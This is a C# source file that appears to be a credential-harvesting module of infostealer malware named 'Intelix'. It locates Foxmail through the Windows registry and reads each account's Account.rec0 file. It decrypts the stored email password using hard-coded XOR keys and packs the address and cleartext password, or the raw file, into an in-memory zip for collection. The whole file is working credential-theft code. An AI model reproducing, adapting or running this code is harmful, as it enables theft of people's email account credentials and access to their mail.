203 lines
5.3 KiB
C#
203 lines
5.3 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Text;
|
|
using Intelix.Helper.Data;
|
|
using Microsoft.Win32;
|
|
|
|
namespace Intelix.Targets.Applications;
|
|
|
|
public class FoxMail : ITarget
|
|
{
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
|
{
|
|
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Classes\\Foxmail.url.mailto\\Shell\\open\\command");
|
|
if (registryKey == null)
|
|
{
|
|
return;
|
|
}
|
|
string text = registryKey.GetValue("") as string;
|
|
if (string.IsNullOrEmpty(text))
|
|
{
|
|
return;
|
|
}
|
|
int num = text.LastIndexOf("Foxmail.exe", StringComparison.OrdinalIgnoreCase);
|
|
if (num < 0)
|
|
{
|
|
return;
|
|
}
|
|
string path = Path.Combine(text.Substring(0, num).Replace("\"", "").TrimEnd('\\', ' '), "Storage");
|
|
if (!Directory.Exists(path))
|
|
{
|
|
return;
|
|
}
|
|
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
|
counterApplications.Name = "FoxMail";
|
|
string[] directories = Directory.GetDirectories(path, "*@*", SearchOption.TopDirectoryOnly);
|
|
foreach (string text2 in directories)
|
|
{
|
|
string fileName = Path.GetFileName(text2);
|
|
string text3 = Path.Combine(text2, "Accounts");
|
|
if (!Directory.Exists(text3))
|
|
{
|
|
continue;
|
|
}
|
|
string text4 = Path.Combine(text3, "Account.rec0");
|
|
if (File.Exists(text4))
|
|
{
|
|
string text5 = Path.Combine(Path.GetTempPath(), $"Account_{Guid.NewGuid():N}.rec");
|
|
File.Copy(text4, text5, overwrite: true);
|
|
bool found;
|
|
int ver;
|
|
string text6 = ParseSecretFileAndGetPassword(text5, out found, out ver);
|
|
if (found)
|
|
{
|
|
string text7 = "Foxmail\\" + fileName + "\\Account.txt";
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
stringBuilder.AppendLine("E-Mail: " + fileName);
|
|
stringBuilder.AppendLine("Password: " + text6);
|
|
stringBuilder.AppendLine("FoxmailVersionDetected: " + ((ver == 0) ? "6.x" : "7.x or later"));
|
|
zip.AddTextFile(text7, stringBuilder.ToString());
|
|
counterApplications.Files.Add(text4 + " => " + text7);
|
|
}
|
|
else
|
|
{
|
|
string text8 = "Foxmail\\" + fileName + "\\Account.rec0";
|
|
zip.AddFile(text8, File.ReadAllBytes(text4));
|
|
counterApplications.Files.Add(text4 + " => " + text8);
|
|
}
|
|
File.Delete(text5);
|
|
}
|
|
}
|
|
if (counterApplications.Files.Count > 0)
|
|
{
|
|
counter.Applications.Add(counterApplications);
|
|
}
|
|
}
|
|
|
|
private string ParseSecretFileAndGetPassword(string path, out bool found, out int ver)
|
|
{
|
|
found = false;
|
|
ver = 1;
|
|
byte[] array = File.ReadAllBytes(path);
|
|
if (array == null || array.Length == 0)
|
|
{
|
|
return string.Empty;
|
|
}
|
|
if (array[0] == 208)
|
|
{
|
|
ver = 0;
|
|
}
|
|
else
|
|
{
|
|
ver = 1;
|
|
}
|
|
string text = "";
|
|
string value = "";
|
|
for (int i = 0; i < array.Length; i++)
|
|
{
|
|
byte b = array[i];
|
|
if (b > 32 && b < 127 && b != 61)
|
|
{
|
|
string text2 = text;
|
|
char c = (char)b;
|
|
text = text2 + c;
|
|
if (text.Equals("Account", StringComparison.Ordinal))
|
|
{
|
|
value = ReadAsciiValue(array, ref i, ver);
|
|
text = "";
|
|
}
|
|
else if (text.Equals("POP3Account", StringComparison.Ordinal))
|
|
{
|
|
value = ReadAsciiValue(array, ref i, ver);
|
|
text = "";
|
|
}
|
|
else if ((text.Equals("Password", StringComparison.Ordinal) || text.Equals("POP3Password", StringComparison.Ordinal)) && !string.IsNullOrEmpty(value))
|
|
{
|
|
string strHash = ReadAsciiValue(array, ref i, ver);
|
|
string result = DecodePW(ver, strHash);
|
|
found = true;
|
|
return result;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
text = "";
|
|
}
|
|
}
|
|
return string.Empty;
|
|
}
|
|
|
|
private string ReadAsciiValue(byte[] bits, ref int jx, int ver)
|
|
{
|
|
int i = jx + 9;
|
|
if (ver == 0)
|
|
{
|
|
i = jx + 2;
|
|
}
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
for (; i < bits.Length && bits[i] > 32 && bits[i] < 127; i++)
|
|
{
|
|
stringBuilder.Append((char)bits[i]);
|
|
}
|
|
jx = i;
|
|
return stringBuilder.ToString();
|
|
}
|
|
|
|
private string DecodePW(int ver, string strHash)
|
|
{
|
|
string text = string.Empty;
|
|
int[] array;
|
|
int num;
|
|
if (ver == 0)
|
|
{
|
|
array = new int[8] { 126, 100, 114, 97, 71, 111, 110, 126 };
|
|
num = Convert.ToInt32("5A", 16);
|
|
}
|
|
else
|
|
{
|
|
array = new int[8] { 126, 70, 64, 55, 37, 109, 36, 126 };
|
|
num = Convert.ToInt32("71", 16);
|
|
}
|
|
int num2 = strHash.Length / 2;
|
|
int num3 = 0;
|
|
int[] array2 = new int[num2];
|
|
for (int i = 0; i < num2; i++)
|
|
{
|
|
array2[i] = Convert.ToInt32(strHash.Substring(num3, 2), 16);
|
|
num3 += 2;
|
|
}
|
|
int[] array3 = new int[array2.Length];
|
|
array3[0] = array2[0] ^ num;
|
|
if (array2.Length > 1)
|
|
{
|
|
Array.Copy(array2, 1, array3, 1, array2.Length - 1);
|
|
}
|
|
while (array2.Length > array.Length)
|
|
{
|
|
int[] array4 = new int[array.Length * 2];
|
|
Array.Copy(array, 0, array4, 0, array.Length);
|
|
Array.Copy(array, 0, array4, array.Length, array.Length);
|
|
array = array4;
|
|
}
|
|
int[] array5 = new int[array2.Length];
|
|
for (int j = 1; j < array2.Length; j++)
|
|
{
|
|
array5[j - 1] = array2[j] ^ array[j - 1];
|
|
}
|
|
int[] array6 = new int[array5.Length];
|
|
for (int k = 0; k < array5.Length - 1; k++)
|
|
{
|
|
if (array5[k] - array3[k] < 0)
|
|
{
|
|
array6[k] = array5[k] + 255 - array3[k];
|
|
}
|
|
else
|
|
{
|
|
array6[k] = array5[k] - array3[k];
|
|
}
|
|
text += (char)array6[k];
|
|
}
|
|
return text;
|
|
}
|
|
}
|